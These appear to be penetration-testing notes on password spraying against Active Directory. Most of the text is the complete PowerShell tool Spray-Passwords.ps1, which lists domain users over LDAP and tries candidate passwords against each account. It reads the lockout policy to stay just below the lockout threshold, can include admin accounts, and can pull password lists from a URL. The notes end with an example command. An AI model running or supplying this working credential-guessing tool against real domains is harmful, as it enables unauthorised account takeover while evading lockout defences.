- Default lockout threshold: 5
- Lockout duration: 30
- Lockout observation window: 30
- This does not apply to RDP!
- Newest windows releases now count logonfail for RDP!
Using LDAP to guess
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$PDC = ($domainObj.PdcRoleOwner).Name
$SearchString = "LDAPS://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
New-Object System.DirectoryServices.DirectoryEntry($SearchString, "[user]", "[password]")
Prepared script
<#
.SYNOPSIS
PoC PowerShell script to demo how to perform password spraying attacks against
user accounts in Active Directory (AD), aka low and slow online brute force method.
Only use for good and after written approval from AD owner.
Requires access to a Windows host on the internal network, which may perform
queries against the Primary Domain Controller (PDC).
Does not require admin access, neither in AD or on Windows host.
Remote Server Administration Tools (RSAT) are not required.
Should NOT be considered OPSEC safe since:
- a lot of traffic is generated between the host and the Domain Controller(s).
- failed logon events will be massive on Domain Controller(s).
- badpwdcount will iterate on user account objects in scope.
No accounts should be locked out by this script alone, but there are no guarantees.
NB! This script does not take Fine-Grained Password Policies (FGPP) into consideration.
.DESCRIPTION
Perform password spraying attack against user accounts in Active Directory.
.PARAMETER Pass
Specify a single or multiple passwords to test for each targeted user account. Eg. -Pass 'Password1,Password2'. Do not use together with File or Url."
.PARAMETER File
Supply a path to a password input file to test multiple passwords for each targeted user account. Do not use together with Pass or Url.
.PARAMETER Url
Download file from given URL and use as password input file to test multiple passwords for each targeted user account. Do not use together with File or Pass.
.PARAMETER Admins
Warning: will also target privileged user accounts (admincount=1.)". Default = $false.
.EXAMPLE
PS C:\> .\Spray-Passwords.ps1 -Pass 'Summer2016'
1. Test the password 'Summer2016' against all active user accounts, except privileged user accounts (admincount=1).
.EXAMPLE
PS C:\> .\Spray-Passwords.ps1 -Pass 'Summer2016,Password123' -Admins
1. Test the password 'Summer2016' against all active user accounts, including privileged user accounts (admincount=1).
.EXAMPLE
PS C:\> .\Spray-Passwords.ps1 -File .\passwords.txt -Verbose
1. Test each password in the file 'passwords.txt' against all active user accounts, except privileged user accounts (admincount=1).
2. Output script progress/status information to console.
.EXAMPLE
PS C:\> .\Spray-Passwords.ps1 -Url 'https://raw.githubusercontent.com/ZilentJack/Get-bADpasswords/master/BadPasswords.txt' -Verbose
1. Download the password file with weak passwords.
2. Test each password against all active user accounts, except privileged user accounts (admincount=1).
3. Output script progress/status information to console.
.LINK
Get latest version here: https://github.com/ZilentJack/Spray-Passwords
.NOTES
Authored by : Jakob H. Heidelberg / @JakobHeidelberg / www.improsec.com
Together with : CyberKeel / www.cyberkeel.com
Date created : 09/05-2016
Last modified : 26/06-2016
Version history:
- 1.00: Initial public release, 26/06-2016
Tested on:
- WS 2016 TP5
- WS 2012 R2
- Windows 10
Known Issues & possible solutions/workarounds:
KI-0001: -
Solution: -
Change Requests for vNext (not prioritized):
CR-0001: Support for Fine-Grained Password Policies (FGPP).
CR-0002: Find better way of getting Default Domain Password Policy than "NET ACCOUNTS". Get-ADDefaultDomainPasswordPolicy is not en option as it relies on RSAT.
CR-0003: Threated approach to test more user/password combinations simultaneously.
CR-0004: Exception or include list based on username, group membership, SID's or the like.
CR-0005: Exclude user account that executes the script (password probably already known).
Verbose output:
Use -Verbose to output script progress/status information to console.
#>
[CmdletBinding(DefaultParameterSetName='ByPass')]
Param
(
[Parameter(Mandatory = $true, ParameterSetName = 'ByURL',HelpMessage="Download file from given URL and use as password input file to test multiple passwords for each targeted user account.")]
[String]
$Url = '',
[Parameter(Mandatory = $true, ParameterSetName = 'ByFile',HelpMessage="Supply a path to a password input file to test multiple passwords for each targeted user account.")]
[String]
$File = '',
[Parameter(Mandatory = $true, ParameterSetName = 'ByPass',HelpMessage="Specify a single or multiple passwords to test for each targeted user account. Eg. -Pass 'Password1,Password2'")]
[AllowEmptyString()]
[String]
$Pass = '',
[Parameter(Mandatory = $false,HelpMessage="Warning: will also target privileged user accounts (admincount=1.)")]
[Switch]
$Admins = $false
)
# Method to determine if input is numeric or not
Function isNumeric ($x) {
$x2 = 0
$isNum = [System.Int32]::TryParse($x, [ref]$x2)
Return $isNum
}
# Method to get the lockout threshold - does not take FGPP into acocunt
Function Get-threshold
{
$data = net accounts
$threshold = $data[5].Split(":")[1].Trim()
If (isNumeric($threshold) )
{
Write-Verbose "threshold is a number = $threshold"
$threshold = [Int]$threshold
}
Else
{
Write-Verbose "Threshold is probably 'Never', setting max to 1000..."
$threshold = [Int]1000
}
Return $threshold
}
# Method to get the lockout observation window - does not tage FGPP into account
Function Get-Duration
{
$data = net accounts
$duration = [Int]$data[7].Split(":")[1].Trim()
Write-Verbose "Lockout duration is = $duration"
Return $duration
}
# Method to retrieve the user objects from the PDC
Function Get-UserObjects
{
# Get domain info for current domain
Try {$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()}
Catch {Write-Verbose "No domain found, will quit..." ; Exit}
# Get the DC with the PDC emulator role
$PDC = ($domainObj.PdcRoleOwner).Name
# Build the search string from which the users should be found
$SearchString = "LDAP://"
$SearchString += $PDC + "/"
$DistinguishedName = "DC=$($domainObj.Name.Replace('.', ',DC='))"
$SearchString += $DistinguishedName
# Create a DirectorySearcher to poll the DC
$Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString)
$objDomain = New-Object System.DirectoryServices.DirectoryEntry
$Searcher.SearchRoot = $objDomain
# Select properties to load, to speed things up a bit
$Searcher.PropertiesToLoad.Add("samaccountname") > $Null
$Searcher.PropertiesToLoad.Add("badpwdcount") > $Null
$Searcher.PropertiesToLoad.Add("badpasswordtime") > $Null
# Search only for enabled users that are not locked out - avoid admins unless $admins = $true
If ($Admins) {$Searcher.filter="(&(samAccountType=805306368)(!(lockoutTime>=1))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"}
Else {$Searcher.filter="(&(samAccountType=805306368)(!(admincount=1))(!(lockoutTime>=1))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))"}
$Searcher.PageSize = 1000
# Find & return targeted user accounts
$userObjs = $Searcher.FindAll()
Return $userObjs
}
# Method to perform auth test with specific username and password
Function Perform-Authenticate
{
Param
([String]$username,[String]$password)
# Get current domain with ADSI
$CurrentDomain = "LDAP://"+([ADSI]"").DistinguishedName
# Try to authenticate
Write-Verbose "Trying to authenticate as user '$username' with password '$password'"
$dom = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain, $username, $password)
$res = $dom.Name
# Return true/false
If ($res -eq $null) {Return $false}
Else {Return $true}
}
# Validate and parse user supplied url to CSV file of passwords
Function Parse-Url
{
Param ([String]$url)
# Download password file from URL
$data = (New-Object System.Net.WebClient).DownloadString($url)
$data = $data.Split([environment]::NewLine)
# Parse passwords file and return results
If ($data -eq $null -or $data -eq "") {Return $null}
$passwords = $data.Split(",").Trim()
Return $passwords
}
# Validate and parse user supplied CSV file of passwords
Function Parse-File
{
Param ([String]$file)
If (Test-Path $file)
{
$data = Get-Content $file
If ($data -eq $null -or $data -eq "") {Return $null}
$passwords = $data.Split(",").Trim()
Return $passwords
}
Else {Return $null}
}
# Main function to perform the actual brute force attack
Function BruteForce
{
Param ([Int]$duration,[Int]$threshold,[String[]]$passwords)
#Setup variables
$userObj = Get-UserObjects
Write-Verbose "Found $(($userObj).count) active & unlocked users..."
If ($passwords.Length -gt $threshold)
{
$time = ($passwords.Length - $threshold) * $duration
Write-Host "Total run time is expected to be around $([Math]::Floor($time / 60)) hours and $([Math]::Floor($time % 60)) minutes."
}
[Boolean[]]$done = @()
[Boolean[]]$usersCracked = @()
[Int[]]$numTry = @()
$results = @()
#Initialize arrays
For ($i = 0; $i -lt $userObj.Length; $i += 1)
{
$done += $false
$usersCracked += $false
$numTry += 0
}
# Main while loop which does the actual brute force.
Write-Host "Performing brute force - press [q] to stop the process and print results..." -BackgroundColor Yellow -ForegroundColor Black
:Main While ($true)
{
# Get user accounts
$userObj = Get-UserObjects
# Iterate over every user in AD
For ($i = 0; $i -lt $userObj.Length; $i += 1)
{
# Allow for manual stop of the while loop, while retaining the gathered results
If ($Host.UI.RawUI.KeyAvailable -and ("q" -eq $Host.UI.RawUI.ReadKey("IncludeKeyUp,NoEcho").Character))
{
Write-Host "Stopping bruteforce now...." -Background DarkRed
Break Main
}
If ($usersCracked[$i] -eq $false)
{
If ($done[$i] -eq $false)
{
# Put object values into variables
$samaccountnname = $userObj[$i].Properties.samaccountname
$badpwdcount = $userObj[$i].Properties.badpwdcount
$badpwdtime = $userObj[$i].Properties.badpasswordtime[0]
# Not yet reached lockout tries
If ($badpwdcount -lt ($threshold - 1))
{
# Try the auth with current password
$auth = Perform-Authenticate $samaccountnname $passwords[$numTry[$i]]
If ($auth -eq $true)
{
Write-Host "Guessed password for user: '$samaccountnname' = '$($passwords[$numTry[$i]])'" -BackgroundColor DarkGreen
$results += $samaccountnname
$results += $passwords[$numTry[$i]]
$usersCracked[$i] = $true
$done[$i] = $true
}
# Auth try did not work, go to next password in list
Else
{
$numTry[$i] += 1
If ($numTry[$i] -eq $passwords.Length) {$done[$i] = $true}
}
}
# One more tries would result in lockout, unless timer has expired, let's see...
Else
{
$now = Get-Date
If ($badpwdtime)
{
$then = [DateTime]::FromFileTime($badpwdtime)
$timediff = ($now - $then).TotalMinutes
If ($timediff -gt $duration)
{
# Since observation window time has passed, another auth try may be performed
$auth = Perform-Authenticate $samaccountnname $passwords[$numTry[$i]]
If ($auth -eq $true)
{
Write-Host "Guessed password for user: '$samaccountnname' = '$($passwords[$numTry[$i]])'" -BackgroundColor DarkGreen
$results += $samaccountnname
$results += $passwords[$numTry[$i]]
$usersCracked[$i] = $true
$done[$i] = $true
}
Else
{
$numTry[$i] += 1
If($numTry[$i] -eq $passwords.Length) {$done[$i] = $true}
}
} # Time-diff if
}
Else
{
# Verbose-log if $badpwdtime in null. Possible "Cannot index into a null array" error.
Write-Verbose "- no badpwdtime exception '$samaccountnname':'$badpwdcount':'$badpwdtime'"
# Try the auth with current password
$auth = Perform-Authenticate $samaccountnname $passwords[$numTry[$i]]
If ($auth -eq $true)
{
Write-Host "Guessed password for user: '$samaccountnname' = '$($passwords[$numTry[$i]])'" -BackgroundColor DarkGreen
$results += $samaccountnname
$results += $passwords[$numTry[$i]]
$usersCracked[$i] = $true
$done[$i] = $true
}
Else
{
$numTry[$i] += 1
If($numTry[$i] -eq $passwords.Length) {$done[$i] = $true}
}
} # Badpwdtime-check if
} # Badwpdcount-check if
} # Done-check if
} # User-cracked if
} # User loop
# Check if the bruteforce is done so the while loop can be terminated
$amount = 0
For ($j = 0; $j -lt $done.Length; $j += 1)
{
If ($done[$j] -eq $true) {$amount += 1}
}
If ($amount -eq $done.Length) {Break}
# Take a nap for a second
Start-Sleep -m 1000
} # Main While loop
If ($results.Length -gt 0)
{
Write-Host "Users guessed are:"
For($i = 0; $i -lt $results.Length; $i += 2) {Write-Host " '$($results[$i])' with password: '$($results[$i + 1])'"}
}
Else {Write-Host "No passwords were guessed."}
}
$passwords = $null
If ($Url -ne '')
{
$passwords = Parse-Url $Url
}
ElseIf($File -ne '')
{
$passwords = Parse-File $File
}
Else
{
$passwords = $Pass.Split(",").Trim()
}
If($passwords -eq $null)
{
Write-Host "Error in password input, please try again."
Exit
}
# Get password policy info
$duration = Get-Duration
$threshold = Get-threshold
If ($Admins) {Write-Host "WARNING: also targeting admin accounts." -BackgroundColor DarkRed}
# Call the main function and start the brute force
BruteForce $duration $threshold $passwords
Usage
.\Spray-Passwords.ps1 -Pass Qwerty09! -Admin
WARNING: also targeting admin accounts.